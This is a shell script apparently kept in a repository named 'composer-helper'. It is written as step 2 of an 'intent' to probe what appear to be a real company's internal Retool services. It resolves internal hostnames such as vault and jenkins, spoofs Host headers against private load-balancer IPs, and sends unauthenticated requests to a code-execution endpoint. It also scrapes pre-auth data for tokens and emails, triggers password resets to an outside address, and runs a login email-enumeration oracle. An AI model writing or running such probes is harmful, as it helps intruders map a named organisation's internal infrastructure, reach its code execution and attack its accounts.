composer-helper/rt2.sh
2026-10-22 15:16:40 +00:00

80 lines
5.3 KiB
Bash

#!/bin/sh
# Intent 20337 step 2: deeper Retool pre-auth surface + ALB host routing + internal DNS.
C="curl -sk -m 7 --connect-timeout 3"
T=/tmp/rt20337b
mkdir -p "$T" 2>/dev/null
say() { printf '%s\n' "$*"; }
echo "== PREAUTH-DATA retooldata"
$C -o "$T/p" -w "preauth -> %{http_code} %{size_download}\n" "https://retooldata.private.paystack.co/api/organization/preAuthData"
say "-- head"
head -c 700 "$T/p" | tr '\r\n' ' '
say ""
say "-- keys"
grep -o '"[A-Za-z_][A-Za-z0-9_]*"[[:space:]]*:' "$T/p" 2>/dev/null | sed 's/[": ]//g' | sort | uniq -c | sort -rn | head -35
say "-- interesting strings"
grep -oiE '"[^"]{0,40}(email|user|secret|token|invite|license|sso|saml|oauth|admin|domain|orgname|orgName)[^"]{0,40}"' "$T/p" 2>/dev/null | sort -u | head -30
echo "== DNS CANDIDATES"
for h in retool-enterprise.private.paystack.co data-platform.private.paystack.co retool-workflow.private.paystack.co retool-workflows.private.paystack.co retooldata-workflow.private.paystack.co retooldata-workflows.private.paystack.co retool-backend.private.paystack.co retool-api.private.paystack.co retooldata-api.private.paystack.co workflow.private.paystack.co workflow-backend.private.paystack.co workflow-worker.private.paystack.co code-executor.private.paystack.co codeexecutor.private.paystack.co retooldata-code-executor.private.paystack.co retool-code-executor.private.paystack.co grafana.private.paystack.co argocd.private.paystack.co k8s-dashboard.private.paystack.co adminer.private.paystack.co airflow.private.paystack.co vault.private.paystack.co jenkins.private.paystack.co kibana.private.paystack.co prometheus-k8s.private.paystack.co api.private.paystack.co internal.private.paystack.co; do
ip=$(timeout 2 getent hosts "$h" 2>/dev/null | awk '{print $1}' | head -1)
if [ -n "$ip" ]; then say "$h $ip"; fi
done
echo "== ALB HOST MATRIX"
for ip in 172.31.65.91 172.31.67.237; do
for hh in retooldata.private.paystack.co retool.private.paystack.co code-executor.private.paystack.co retooldata-code-executor.private.paystack.co localhost retooldata.data-platform.svc.cluster.local code-executor.data-platform.svc.cluster.local; do
$C -k -o "$T/b" -w "%{http_code} %{size_download}" -H "Host: $hh" "https://$ip/api/checkHealth" >"$T/s" 2>"$T/e"
say "GET $ip Host=$hh -> $(cat "$T/s" 2>/dev/null) :: $(head -c 90 "$T/b" 2>/dev/null | tr '\r\n' ' ')"
done
done
echo "== ALB HOST MATRIX POST executeCode"
for ip in 172.31.65.91 172.31.67.237; do
for hh in code-executor.private.paystack.co retooldata-code-executor.private.paystack.co code-executor.data-platform.svc.cluster.local; do
$C -k -o "$T/b" -w "%{http_code} %{size_download}" -X POST -H "Host: $hh" -H "Content-Type: application/json" --data-binary '{"code":"return 7*7;","runtime":{"language":"nodejs","version":"18.17"},"variablesInScope":{},"origin":"workflows"}' "https://$ip/api/executeCode" >"$T/s" 2>"$T/e"
say "POST $ip Host=$hh -> $(cat "$T/s" 2>/dev/null) :: $(head -c 110 "$T/b" 2>/dev/null | tr '\r\n' ' ')"
done
done
echo "== ANON ROUTES"
for h in retooldata.private.paystack.co retool.private.paystack.co; do
say "-- $h"
for p in /api/checkHealth /api/organization/preAuthData /api/signup /api/login /api/logout /api/oauth/authorize /api/oauth/callback /api/oauth/login /api/forgotPassword /api/forgot_password /api/resetPassword /api/verifyEmail /api/2fa/status /api/invite /api/invites /api/public/apps /api/public/applications /api/apps/public /api/organization /api/users/me /api/auth/google /api/auth/callback /api/sso/oidc/login /api/sso/saml/login /api/organization/sso /api/health /api/v1/version; do
$C -o "$T/b" -w "%{http_code}" "https://$h$p" >"$T/s" 2>"$T/e"
code=$(cat "$T/s" 2>/dev/null)
body=$(head -c 90 "$T/b" 2>/dev/null | tr '\r\n' ' ')
say "GET $p -> $code :: $body"
done
done
echo "== PASSWORD FLOW (POST)"
for h in retooldata.private.paystack.co retool.private.paystack.co; do
for p in /api/forgotPassword /api/forgot_password /api/resetPassword /api/verifyEmail; do
$C -o "$T/b" -w "%{http_code}" -X POST -H "Content-Type: application/json" --data-binary '{"email":"pstkrt20337a@maxxspace.com"}' "https://$h$p" >"$T/s" 2>"$T/e"
say "POST $h$p -> $(cat "$T/s" 2>/dev/null) :: $(head -c 110 "$T/b" 2>/dev/null | tr '\r\n' ' ')"
done
done
echo "== LOGIN EMAIL ORACLE"
for h in retooldata.private.paystack.co retool.private.paystack.co; do
for em in admin@paystack.com pstk20337-nobody@maxxspace.com; do
$C -o "$T/b" -w "%{http_code} %{time_total}" -X POST -H "Content-Type: application/json" --data-binary "{\"email\":\"$em\",\"password\":\"zzzz20337ZZ\"}" "https://$h/api/login" >"$T/s" 2>"$T/e"
say "LOGIN $h $em -> $(cat "$T/s" 2>/dev/null) :: $(head -c 100 "$T/b" 2>/dev/null | tr '\r\n' ' ')"
done
done
echo "== MISC HOSTS"
for h in retool-enterprise.private.paystack.co data-platform.private.paystack.co; do
ip=$(timeout 2 getent hosts "$h" 2>/dev/null | awk '{print $1}' | head -1)
if [ -n "$ip" ]; then
$C -o "$T/b" -w "root -> %{http_code} %{size_download}" "https://$h/" >"$T/s" 2>"$T/e"
say "$h ($ip) root -> $(cat "$T/s" 2>/dev/null) :: $(head -c 120 "$T/b" 2>/dev/null | tr '\r\n' ' ')"
$C -o "$T/b" -w "ch -> %{http_code} %{size_download}" "https://$h/api/checkHealth" >"$T/s" 2>"$T/e"
say "$h ($ip) checkHealth -> $(cat "$T/s" 2>/dev/null) :: $(head -c 120 "$T/b" 2>/dev/null | tr '\r\n' ' ')"
fi
done
echo "RT2DONE"